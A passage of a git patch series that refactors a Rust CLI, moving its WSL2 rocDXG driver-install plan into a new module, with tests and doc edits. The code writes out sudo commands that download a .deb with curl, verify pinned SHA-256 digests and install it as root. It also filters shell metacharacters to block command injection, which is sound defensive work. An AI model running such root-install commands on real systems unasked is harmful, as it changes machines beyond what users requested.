diagnose_cmd; mod driver_install; +mod driver_plan; mod endpoint_keys; mod engine_ipc; mod engine_runtime_select; diff --git a/docs/architecture.md b/docs/architecture.md index b17d0c6a4e..a69c660736 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -43,7 +43,8 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, plus the driver-plan/state types. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, the driver install state types, and, for now, the per-distro plan builders and the WSL rocDXG plan. The plan model, its rendering and the helpers every builder shares live in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). +- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, a leaf of the crate (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns `DriverInstallPlan` (with `execution_commands`), its `DriverPlanCommand`s and `DriverCommandPhase`, `PrivilegeEscalation` (whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, and the helpers every plan builder shares: `driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template` and `is_safe_shell_token`. Everything except `driver_plan_approval_label` is `pub(crate)`, and the plan's fields are too, because the builders that construct it are still in `driver_install.rs`. Production code uses only `std` and `rocm_core`, so `driver_install.rs` depends on this module and not the other way round. Its tests cover the template resolver and the shell-token filter. - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. - [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-213): resolving an engine's binary path (`resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `find_engine_plugin_binary`), the stdio request/response envelope used to talk to an external engine binary or the in-process built-in handler (`engine_request`, `engine_request_with_env_root`, `decode_engine_response`, the `ScopedEnvVar`/`with_scoped_builtin_engine_env` env-scoping helpers and the `BUILTIN_ENGINE_ENV_LOCK` mutex they serialize on, `builtin_engine_request`, `run_builtin_engine_stdio`), and the built-in HTTP-serving path (`builtin_engine_available`, `run_builtin_engine_serve_http`, `builtin_engine_serve_http_args`). Two items that sit physically inside this span in `main.rs` stayed there instead of moving: `missing_packaged_engine_reason` has callers outside the cluster (plus its own test), and `impl From for WatcherMode` is unrelated clap-arg conversion that merely happened to be interleaved between `find_engine_plugin_binary` and `engine_request`. `resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `engine_request`, `engine_request_with_env_root`, `builtin_engine_available`, and `builtin_engine_serve_http_args` are `pub(crate)` and read from other modules (for example [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs), [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) and [`service_launch.rs`](../apps/rocm/src/service_launch.rs)), not from `main.rs`. `run_builtin_engine_stdio` and `run_builtin_engine_serve_http` are `pub(crate)` and reached directly from `main.rs`'s `dispatch()` (the `Command::EngineStdio` and `__engine-serve-http` arms); `find_engine_plugin_binary`, `decode_engine_response`, `with_scoped_builtin_engine_env`, `builtin_engine_request`, and `ScopedEnvVar` have no callers outside this module and stay private. - [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-215): deciding which runtime/env a `serve`/`engines install` invocation resolves to (`EngineSelection`, `resolve_engine_selection`, `validate_engine_selection_runtime`, `single_ready_runtime_key`, `resolve_runtime_selector_to_exact_key`), small argv-building helpers used when relaunching a managed engine (`optional_arg`, `engine_recipe_json_arg`, `parse_engine_recipe_json_arg`, `daemon_run_argv`, `managed_service_launcher_path`), the `ROCM_CLI_*` environment variables every managed child inherits (`app_path_env_vars`/`app_path_env_var_values`/`app_path_env_var_refs`/`apply_app_path_env`), and polling a freshly launched service until it can answer inference requests (`wait_for_service_http_ready`, `wait_for_service_http_ready_with_progress`, `service_http_readiness_paths`, `http_get_local_service`, `http_post_local_service_json`, `service_http_readiness_response_ready`, `lemonade_health_ready_for_model`, `model_list_ready_for_model`, `service_model_gpu_ready`, `service_model_reports_rocm_backend`, `service_model_names_match`). `const fn status_for_readiness` sits physically interleaved in this span in `main.rs` but stayed there instead of moving — it has callers outside this cluster ([`service_launch.rs`](../apps/rocm/src/service_launch.rs) and [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `record_restart_readiness`, which `restart_internal_managed_service_with` calls), so it stays a shared crate-root function, reached only from this module's own tests, via `use crate::status_for_readiness;`. Which items are `pub(crate)` and who calls them is documented in the module's own doc comment rather than repeated here. The cluster's regression tests live in the module's own `mod tests`. What remains in `main.rs` immediately after this cluster is `treat_as_natural_language`, dispatch-adjacent natural-language-invocation routing left over from an earlier phase (ROCMAI-87), explicitly out of scope and untouched by this split. From 9e262307509f8ce5022655d27ce2753249e68392 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 17:48:29 +0000 Subject: [PATCH 03/12] refactor(rocm): move the WSL rocDXG plan out of driver_install.rs into driver_plan/rocdxg.rs Step 3 of 7. driver_plan/rocdxg.rs is a child of driver_plan.rs holding the WSL2 rocDXG plan: the version and digest-environment constants, ROCDXG_PINNED_DIGESTS, the version and digest well-formedness checks, RocdxgVerification and resolve_rocdxg_verification, the refusal plan and wsl_rocdxg_driver_plan. It uses only items that stay in its parent for good (the plan model, driver_command, driver_root_preflight_checks, resolve_shell_default_template) plus truthy_env from therock.rs. ROCDXG_PINNED_DIGESTS is the trust anchor for an unattended root install. Its doc comment and table were compared byte for byte against the previous file and are identical. Moved code is identical apart from the edits below. Non-move edits: - Visibility: wsl_rocdxg_driver_plan becomes pub(crate) so driver_plan.rs can re-export it for the builders still in driver_install.rs; the other moved items stay private. - driver_plan.rs declares the child module, re-exports wsl_rocdxg_driver_plan, and re-exports scoped_rocdxg_env under cfg(test). - scoped_rocdxg_env, the test helper that clears the rocDXG environment, moves next to the constants it clears as a cfg(test) pub(crate) function (dedented, body unchanged) because tests that stay in driver_install.rs use it as well. That re-export is temporary scaffolding for the intermediate state: when the builders and their tests move, they can reach it through the parent. - Twelve wsl_rocdxg_* tests move with the code; the plan-routing tests and the reboot test, which also call a plan builder, stay in driver_install.rs. The moved tests import render_driver_install_plan from the parent, and the imports only the Unix-only digest test uses (fs, Path, test_paths) are gated on cfg(unix) as that test is. - driver_install.rs imports wsl_rocdxg_driver_plan and, in its tests, scoped_rocdxg_env from crate::driver_plan; its imports of resolve_shell_default_template and the cfg(unix) std::path::Path go, since nothing left there uses them. - One comment in driver_install.rs said every other optional override lives in that file; it now says the overrides are the driver plan's, since resolve_rocdxg_verification and resolve_shell_default_template are no longer in it. - docs/wsl.md names the new path for ROCDXG_PINNED_DIGESTS; docs/testing.md's driver unit-test command also selects driver_plan, which already holds tests moved by the previous step; docs/architecture.md gets an entry for the new file and updated driver_install.rs and driver_plan.rs entries. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 800 +-------------------------- apps/rocm/src/driver_plan.rs | 6 + apps/rocm/src/driver_plan/rocdxg.rs | 829 ++++++++++++++++++++++++++++ docs/architecture.md | 5 +- docs/testing.md | 2 +- docs/wsl.md | 2 +- 6 files changed, 843 insertions(+), 801 deletions(-) create mode 100644 apps/rocm/src/driver_plan/rocdxg.rs diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index c2a4042943..390aea3123 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -29,7 +29,7 @@ use crate::cli_report; use crate::driver_plan::{ DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, driver_command, driver_root_preflight_checks, is_safe_shell_token, render_driver_install_plan, - resolve_shell_default_template, + wsl_rocdxg_driver_plan, }; use crate::system_packages::real_os_release; @@ -402,343 +402,6 @@ struct DriverPassiveCheck { detail: String, } -/// Release of ROCDXG installed on WSL2, overridable for trying another build. -/// -/// Resolved once at plan-build time via [`resolve_shell_default_template`], the -/// same way `ROCM_CLI_AMDGPU_DRIVER_VERSION` is validated for the bare-metal -/// repository pin. The concrete value is baked into the archive name, the release URL and -/// the `repo_version:` line, so the plan a user reviews names the build the -/// install will actually fetch rather than an unexpanded `${...}` placeholder. -/// -/// How the default is chosen: the newest non-prerelease `librocdxg` release -/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it -/// is two edits — add the `(version, digest)` row to that table, then change -/// the literal here — and the two must move together: a default with no row -/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless -/// the caller supplies a digest, so a bump that forgets the table breaks every -/// default WSL install rather than falling back to the previous release. -/// -/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which -/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before -/// them do not, is not installed here. It is a second prefix under -/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it -/// installs an `/etc/profile.d` entry that sources the package's own -/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and -/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment -/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` -/// nor `rocm serve` depends on, and it is not available for every version in -/// the pinned table. Installing it is a separate decision that belongs behind -/// its own opt-in, not folded into the plan whose job is to supply the runtime -/// bridge. -const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; - -/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. -/// Required when installing a version this build has no digest for. -const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; - -/// Opts out of digest verification entirely, when set to an affirmative value. -/// Named explicitly so that shipping an unverified root install is a deliberate -/// act with an audit trail in the plan, rather than what happens when a variable -/// is simply unset. -const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; - -/// SHA-256 digests of the `rocdxg-roct` package shipped with each published -/// ROCDXG release, taken from the release host's own asset metadata. -/// -/// These exist so the default install is authenticated. The package is fetched -/// over plain HTTPS from a release page and then handed to `apt-get install`, -/// which runs its maintainer scripts as root — so without a digest, TLS to the -/// download host is the only thing standing between a compromised or swapped -/// artifact and root on the user's machine. That is materially weaker than the -/// bare-metal apt path in this same file, which installs from a repository -/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. -/// -/// A version absent from this table is not installed unless the caller supplies -/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via -/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. -/// Add the new pair here when pinning a newer release. Nothing in the tree -/// checks a row against the published artifact, so a mistyped digest surfaces -/// only as a failed install on a WSL host — fail-closed, but confusing. Take -/// the value from the release's own asset metadata, or recompute it: -/// -/// ```text -/// curl -L --fail \ -/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ -/// | sha256sum -/// ``` -const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ - ( - "1.0.0", - "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", - ), - ( - "1.1.0", - "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", - ), - ( - "1.1.1", - "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", - ), - ( - "1.1.2", - "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", - ), - ( - "1.2.0", - "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", - ), - ( - "1.2.1", - "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", - ), - ( - "1.2.2", - "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", - ), -]; - -/// Whether a resolved ROCDXG version is safe to place in the plan's commands. -/// -/// The driver plan is a list of shell lines run through `sh -c`, and the -/// version is interpolated into three of them — the archive name, the release -/// URL and the local path — each of which is then executed with `sudo` already -/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches -/// this unchanged from the environment, so a value containing `;` or a -/// backtick would otherwise end the intended command and start an attacker's -/// own. Restricting it to characters that appear in a Debian package version -/// removes the possibility rather than trying to escape it. -fn rocdxg_version_is_well_formed(version: &str) -> bool { - !version.is_empty() - && version.starts_with(|c: char| c.is_ascii_alphanumeric()) - && version - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) -} - -/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the -/// form `sha256sum -c -` expects. -fn sha256_digest_is_well_formed(digest: &str) -> bool { - digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) -} - -/// How the downloaded ROCDXG package will be authenticated before it is -/// installed as root. -#[derive(Debug, Clone, Eq, PartialEq)] -enum RocdxgVerification { - /// Check the download against this digest and abort the install on a - /// mismatch. - Digest(String), - /// Install without checking, because the caller explicitly asked for it. - OptedOut, -} - -/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason -/// no plan can be built. -/// -/// Resolution order — an explicit digest wins over the pinned one so a user can -/// install an artifact this build predates without having to disable -/// verification wholesale: -/// -/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. -/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. -/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value -/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts -/// out. `0` and `false` do not. -/// -/// Nothing left means refusal. Verification is therefore opt-*out*: the failure -/// mode of an unset variable is a plan that will not run, not a root install of -/// an unauthenticated package. -fn resolve_rocdxg_verification(version: &str) -> Result { - if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) - .ok() - .map(|value| value.trim().to_ascii_lowercase()) - .filter(|value| !value.is_empty()) - { - if !sha256_digest_is_well_formed(&supplied) { - return Err(format!( - "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." - )); - } - return Ok(RocdxgVerification::Digest(supplied)); - } - - if let Some(pinned) = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) - { - return Ok(RocdxgVerification::Digest(pinned.to_owned())); - } - - // An allowlist of affirmative values, not "set to anything non-empty": - // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes - // for "off" — would turn digest checking off for a package installed as - // root. Anything this does not recognise leaves verification on. - if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { - return Ok(RocdxgVerification::OptedOut); - } - - Err(format!( - "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." - )) -} - -/// A WSL plan that cannot be run, carrying the reason in the same shape every -/// other unsupported plan uses so `--dry-run`, the approval prompt and -/// `state.json` all report it identically. -fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: repo_version, - reason, - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - reboot_required: false, - } -} - -/// The `rocm install driver` plan for a WSL2 host. -/// -/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows -/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is -/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library -/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with -/// "no usable AMD GPU detected", even though a gfx target is detected — the -/// target is read from the Windows-side driver. -/// -/// This used to be a refusal pointing at a shell script under `scripts/`, which -/// ships only in a git checkout — never in the release bundle — so it was a dead -/// end for anyone who installed the CLI normally. These are that script's steps; -/// it has been removed rather than left as a second, untested copy of them. -fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { - let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); - if !rocdxg_version_is_well_formed(&version) { - return wsl_rocdxg_refusal_plan( - // The rejected value is still rendered into the plan's - // `repo_version:` line so the user can see what was refused — but - // that line is part of a plan a human reads to decide, and a raw - // value containing a newline could forge further lines in it. The - // debug form escapes newlines and makes trailing space visible, - // which is exactly what is wanted for a value being shown as - // rejected. - format!("{version:?}"), - "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), - ); - } - let verification = match resolve_rocdxg_verification(&version) { - Ok(verification) => verification, - Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), - }; - - let sudo = escalation.prefix(); - let deb = format!("rocdxg-roct_{version}_amd64.deb"); - let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); - let deb_path = format!("/tmp/{deb}"); - // `version` is validated above and the digest is hex, so neither can carry - // shell metacharacters; the quotes keep that guarantee local to the command - // rather than resting on a check several functions away. - let verify_download = match &verification { - RocdxgVerification::Digest(digest) => driver_command( - DriverCommandPhase::Execute, - &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), - ), - RocdxgVerification::OptedOut => driver_command( - DriverCommandPhase::Execute, - &format!( - "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" - ), - ), - }; - DriverInstallPlan { - supported: true, - mutating: true, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version_expr: version, - reason: - "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." - .to_owned(), - // Read, not run: the GPU plumbing belongs to the WSL platform, so if it - // is absent the fix is on the Windows side and no Linux package helps. - // The Execute phase fails on the same two paths rather than installing - // a library with nothing to bind to. - preflight_checks: { - let mut checks = vec![ - "/dev/dxg (WSL GPU device)".to_owned(), - "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), - ]; - checks.extend(driver_root_preflight_checks(escalation)); - checks - }, - commands: vec![ - driver_command( - DriverCommandPhase::Prepare, - "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", - ), - driver_command( - DriverCommandPhase::Prepare, - "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", - ), - // Say why up front rather than letting the first privileged step die - // with `sudo: command not found`, which reads like a broken plan. - // Skipped when already root: the plan emits no `sudo` at all then, - // so demanding the binary would state a precondition it is not - // relying on. - driver_command( - DriverCommandPhase::Prepare, - if escalation.needs_sudo_binary() { - "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" - } else { - "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" - }, - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), - ), - // Authenticating the download is the whole trust anchor for this - // plan: everything after it runs the package's maintainer scripts - // as root. `sha256sum -c -` exits non-zero on a mismatch, which - // aborts the plan before the install step. - verify_download, - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y '{deb_path}'"), - ), - driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), - driver_command( - DriverCommandPhase::Verify, - "test -e /opt/rocm/lib/librocdxg.so", - ), - driver_command( - DriverCommandPhase::Verify, - "ldconfig -p | grep -q 'librocdxg\\.so'", - ), - ], - // `rocm diagnose` carries the WSL catalog, including the host-side - // form that inspects a distro over `wsl.exe` without needing anything - // installed inside it. - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - // Userspace only: `ldconfig` publishes the library in this boot. - reboot_required: false, - } -} - /// The plan for a release file that cannot be read as a distro at all — a /// malformed line ([`build_driver_install_plan_at`]'s own early return) or a /// file that exists but could not be read @@ -819,7 +482,7 @@ fn resolve_repo_version_expr() -> Result> { // `latest`. match std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION") { // Set-but-empty is treated the same as unset, matching every other - // optional override in this file (`resolve_rocdxg_verification`, + // optional override of the driver plan (`resolve_rocdxg_verification`, // `resolve_shell_default_template`): a blank env var is how an env // file clears an override, not a request to refuse the plan. Err(std::env::VarError::NotPresent) => Ok("latest".to_owned()), @@ -1636,10 +1299,8 @@ fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { #[cfg(test)] mod tests { use super::*; - use crate::driver_plan::DriverPlanCommand; + use crate::driver_plan::{DriverPlanCommand, scoped_rocdxg_env}; use crate::tests::{ScopedTestEnv, test_paths}; - #[cfg(unix)] - use std::path::Path; fn test_examine(os: &str, wsl: bool) -> ExamineSummary { ExamineSummary { @@ -3831,408 +3492,6 @@ VERSION_ID="41" assert!(rendered.contains("approval: required")); } - #[test] - fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { - // Asserts on the default plan, so it has to take the same guard as the - // mutating tests in this binary: a concurrent test exporting - // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let commands = plan.execution_commands().join("\n"); - - // Fetches the release artifact, installs it, and makes the linker see - // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. - assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); - assert!(commands.contains("rocdxg-roct_")); - assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); - assert!(commands.contains("sudo ldconfig")); - - // And in that order. `ldconfig` refreshes the cache from what is on - // disk now, so running it before `apt-get install` has unpacked - // `librocdxg.so` scans a directory that does not contain it yet and - // publishes nothing — leaving the plan reporting success while the - // `ldconfig -p` verification below is the only thing that would notice. - // Both steps are still present under that swap, so every `contains` - // assertion in this file stays green; only a position comparison - // catches it. - let steps = plan.execution_commands(); - let install = steps - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - let publish = steps - .iter() - .position(|c| c.trim_end().ends_with("ldconfig")) - .expect("plan publishes the library"); - assert!( - install < publish, - "ldconfig must run after the package is installed:\n{}", - steps.join("\n") - ); - - // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` - // on, so a silently partial install cannot report success. - let verify = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Verify) - .map(|c| c.command.clone()) - .collect::>() - .join("\n"); - assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); - assert!(verify.contains("ldconfig -p")); - } - - #[test] - fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { - // /dev/dxg and dxcore come from the Windows side. If they are missing, - // installing the bridge library accomplishes nothing, so the plan must - // stop rather than report a successful install of something inert. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let prepare = plan - .commands - .iter() - .filter(|c| c.phase == DriverCommandPhase::Prepare) - .map(|c| c.command.clone()) - .collect::>(); - let joined = prepare.join("\n"); - assert!(joined.contains("/dev/dxg")); - assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); - // Named explicitly, rather than surfacing as `sudo: command not found` - // from whichever privileged step happened to run first. - assert!(joined.contains("command -v sudo")); - // Both guards run before anything is fetched or installed. - let first_mutation = plan - .execution_commands() - .iter() - .position(|c| c.contains("apt-get") || c.contains("curl")) - .expect("plan installs something"); - let last_guard = plan - .execution_commands() - .iter() - .rposition(|c| c.contains("is missing")) - .expect("plan guards the plumbing"); - assert!( - last_guard < first_mutation, - "plumbing guards must precede the first mutating command" - ); - } - - /// Clear every input that steers the ROCDXG plan, so a value exported in - /// the developer's or runner's shell cannot decide the outcome of a test - /// that is asserting on the default. - /// - /// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than - /// `new` so a caller that also exercises the bare-metal AMDGPU override - /// through the same `build_driver_install_plan_at` call doesn't need a - /// second guard: one helper covers both input sets regardless of which - /// branch actually reads them. - fn scoped_rocdxg_env() -> ScopedTestEnv { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.clear("ROCM_CLI_ROCDXG_VERSION"); - env.clear(ROCDXG_SHA256_ENV); - env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); - env - } - - #[test] - fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { - // The package is installed with `apt-get install`, which runs its - // maintainer scripts as root. With no digest, TLS to the release host - // is the only thing authenticating that download — weaker than the - // bare-metal path in this same file, which installs from a - // `signed-by=` pinned repository. So the default plan must verify. - let _env = scoped_rocdxg_env(); - let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); - let joined = commands.join("\n"); - - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) - .expect("the default version is pinned"); - assert!(joined.contains(pinned), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); - - // Not a conditional: an unset variable must not be able to turn - // verification off, which is what the previous `if [ -n ... ]` form - // did. - assert!( - !joined.contains("skipping checksum verification"), - "{joined}" - ); - assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); - - // Ordering is the whole point — a digest checked after the install has - // already run is decoration. - let check = commands - .iter() - .position(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - let install = commands - .iter() - .position(|c| c.contains("apt-get install -y '/tmp/")) - .expect("plan installs the package"); - assert!(check < install, "digest must be checked before install"); - } - - #[test] - fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { - // An unpinned version is the case where silently falling back to "no - // verification" would be most dangerous, because it is reachable from - // a single environment variable. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty(), "a refusal must run nothing"); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); - assert!( - plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), - "{}", - plan.reason - ); - } - - #[test] - fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { - // The escape hatch for a release newer than this build: supply the - // digest rather than disabling verification. - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - let supplied = "a".repeat(64); - env.set(ROCDXG_SHA256_ENV, &supplied); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(joined.contains(&supplied), "{joined}"); - assert!(joined.contains("sha256sum -c -"), "{joined}"); - } - - #[test] - fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { - // A truncated or mistyped digest must not silently fall back to the - // pinned one, which would verify a different artifact than the user - // asked for and report success. - let mut env = scoped_rocdxg_env(); - env.set(ROCDXG_SHA256_ENV, "not-a-digest"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported); - assert!(plan.commands.is_empty()); - assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); - } - - #[test] - fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { - // Installing unverified stays possible — it just has to be asked for, - // and the plan the user approves has to say so. - let mut 